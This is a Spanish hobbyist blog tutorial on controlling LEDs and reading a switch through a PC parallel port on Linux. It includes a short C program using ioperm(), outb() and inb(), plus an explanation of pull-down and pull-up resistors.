
LPT

Leds en la placa de pruebas

Una vez tengamos el engendro preparado, ya sólo nos queda conectarlo al ordenador a través del puerto paralelo y ponernos a programar. El siguiente ejemplo está escrito en C para Linux, pero es fácilmente portable a cualquier otro lenguaje de programación para cualquier plataforma. El propio código está comentado, pero después se apuntan un par de cosillas interesantes como refuerzo.

#include <stdio.h>
#include <unistd.h>
//asm/io.h es donde están definidas las funciones ioperm() y outb()
#include <asm/io.h>
 
/* Esta es la direccion más frecuente para el puerto paralelo*/
#define DATAPORT 0x378
 
int main()
{
  //Obtenemos permiso de acceso para la direccion de DATAPORT y
  //las 2 siguientes
  if (ioperm(DATAPORT, 3, 1)) {perror("ioperm"); return 1;}
 
  //Entramos en un bucle infinito
  while(1)
  {
    int input;
 
    //Le pedimos al usuario que introduzca un número
    printf("Introduce un número entre 0 y 255 (-1 para salir)\n");
    //Leemos el valor introducido y lo guardamos en "input"
    scanf("%d", &amp;input);
    //Si "input" vale "-1" salimos del bucle
    if(input==-1) break;
    //Si "input" no está entre "0" y "255" (y no era "-1" no nos
    //interesa, así que volvemos directamente al comienzo del bucle
    if(input < 0 || input > 255) continue;
 
    //Si hemos llegado hasta aqui es que "input" vale entre "0" y
    //"255" y podemos sacarlo por el puerto paralelo
    outb(input, DATAPORT);
  }
 
  //Antes de terminar el programa dejamos los permisos de acceso
  //a los puertos como estaban
  if (ioperm(DATAPORT, 3, 0)) {perror("ioperm"); return 1;}
 
  //El programa termina sin errores
  return 0;
}

La función ioperm() modifica los permisos de acceso a los puertos. Recibe tres enteros: el primero le indica la dirección del primer puerto cuyos permisos queremos modificar, el segundo es el número de puertos y el tercero debe ser 1 para conceder el permiso y 0 para denegarlo. De esta manera, la sentencia ioperm(DATAPORT, 3, 1) asigna permiso a 3 puertos, esto es, al de datos, al de estado y al de control. Al final del programa restablecemos el estado dejando todo como estaba con ioperm(DATAPORT, 3, 0).

La función outb() se encarga de enviar un byte de datos a un determinado puerto. Recibe dos enteros: el primero es el byte que se quiere enviar (debe estar entre 0 y 255) y el segundo es la dirección del puerto. La dirección del puerto de datos paralelo, en la gran mayoría de los ordenadores es, en hexadecimal, 0×378. Esta declaración se encuentra al principio del listado en la variable DATAPORT con #define DATAPORT 0x378. Para una segundo puerto paralelo sería 0x278 y para un tercero 0x3BC. De todas maneras, se puede consultar la dirección de nuestro puerto paralelo en la BIOS de la placa base. Ejecutando el programa podremos obtener resultados como los de las dos imágenes siguientes. Por un lado (a la izquierda) tenemos la salida del puerto de datos con el número 13 (00001101 en binario) y, por otro (a la derecha), tenemos la salida del número 167 (10100111 en binario). Como es el puerto de datos y los bits no están invertidos, cada 1 se corresponderá con un led encendido y cada 0 un led apagado.

Ejecutando el programa podremos obtener resultados como los de las dos imágenes siguientes. Por un lado (a la izquierda) tenemos la salida del puerto de datos con el número 13 (00001101 en binario) y, por otro (a la derecha), tenemos la salida del número 167 (10100111 en binario). Como es el puerto de datos y los bits no están invertidos, cada 1 se corresponderá con un led encendido y cada 0 un led apagado.

LPT

Programa funcionando

Muy bien. Todo claro. Ya sabemos cómo inducir voltaje mediante software en una serie de pins para que enciendan y apaguen unos leds. Pero, ¿cómo demonios se hace para leer información del conector? ¿Cómo puedo saber, por ejemplo, que un interruptor ha sido pulsado?

Bien, en este punto debemos comentar que para ello nos hace falta algún elemento más para nuestra placa de pruebas. Evidentemente un interruptor y, también, una resistencia pull-down. Y ¿para qué la resistencia? Pues muy sencillo. Nosotros no podemos saber con rigor absoluto cuando un pin está a 0 voltios, porque los componentes electrónicos son muy puñeteros y ¿quién me asegura a mí que después de retirar una corriente de 5 voltios de un pin, el circuito detrás de ese pin no esté induciendo un cierto voltaje? ¿O si quizás la propia configuración del circuito podría hacer que éste estuviera actuando como un diminuto condensador guardando alguna pequeña carga, quizá entre 0 y 5 voltios? Nosotros no podemos asegurar nunca que un pin de entrada no conectado a nada está a 0 voltios. Eso sería una falacia. Estará a un voltaje arbitrario (puede que cero, puede que no) y desconocido para nosotros.

Para evitar este pequeño escollo utilizamos una resistencia pull-down, que no es otra cosa que una resistencia puesta entre una línea y masa cuyo objetivo es dar a esa línea un valor lógico de nivel bajo de masa (0 voltios) cuando no hay ninguna señal conectada. Se emplea una resistencia de valor intermedio. Lo más habitual es que sea de 1 ó 10 KΩ. Cuando el interruptor está cerrado, la resistencia que ofrece la rama del circuito que va a los 5V es mucho menor que la que va hasta los 0V, así que el voltaje en el nodo donde confluyen las tres ramas del circuito es prácticamente 5V. Lo bueno es que aquí, cuando el interruptor se abre, el pin de entrada no queda aislado, sino que sigue conectado a tierra a través de la resistencia. Cualquier carga que hubiera quedado atrapada en el circuito se descarga rápidamente a través de la resistencia y la entrada se pone a 0V. ¡Ingenioso!

En la siguiente imagen vemos como queda el circuito.

LPT

Circuito terminado

Existen también las resistencias pull-up, que funcionan de igual manera pero conectadas a los 5 voltios. En el código de ejemplo siguiente utilizaremos una de ellas.

¿Y el software? Pues igual de sencillo que el código para escribir datos en el puerto; para leer disponemos de la función inb(), que devuelve un byte de datos leído a través del puerto. Por ejemplo, para leer desde el puerto de estado (Status) y guardarlo en la variable entrada pondríamos hacer short int entrada = inb(0x379).

Pues bien, después de esto ya deberíamos estar preparados para comenzar a adentrarnos en este intrigante mundo. Hombre, de aquí a manejar una lavadora queda, la verdad. Pero hay que tener en cuenta que todo es cuestión de leer y escribir datos desde y en el puerto paralelo, lo demás ya es cuestión eléctrica y electrónica. Además, se puede encontrar mucha y muy jugosa información en Internet acerca de este tema. Ya se sabe, preguntando al tío Google se llega Roma (.com).

FUENTE: Las imágenes, parte del texto y la inspiración provienen del magnífico blog Obsoletos.
Sigue teknoPLOF! vía…
 
Twitter
RSS
 
Publicidad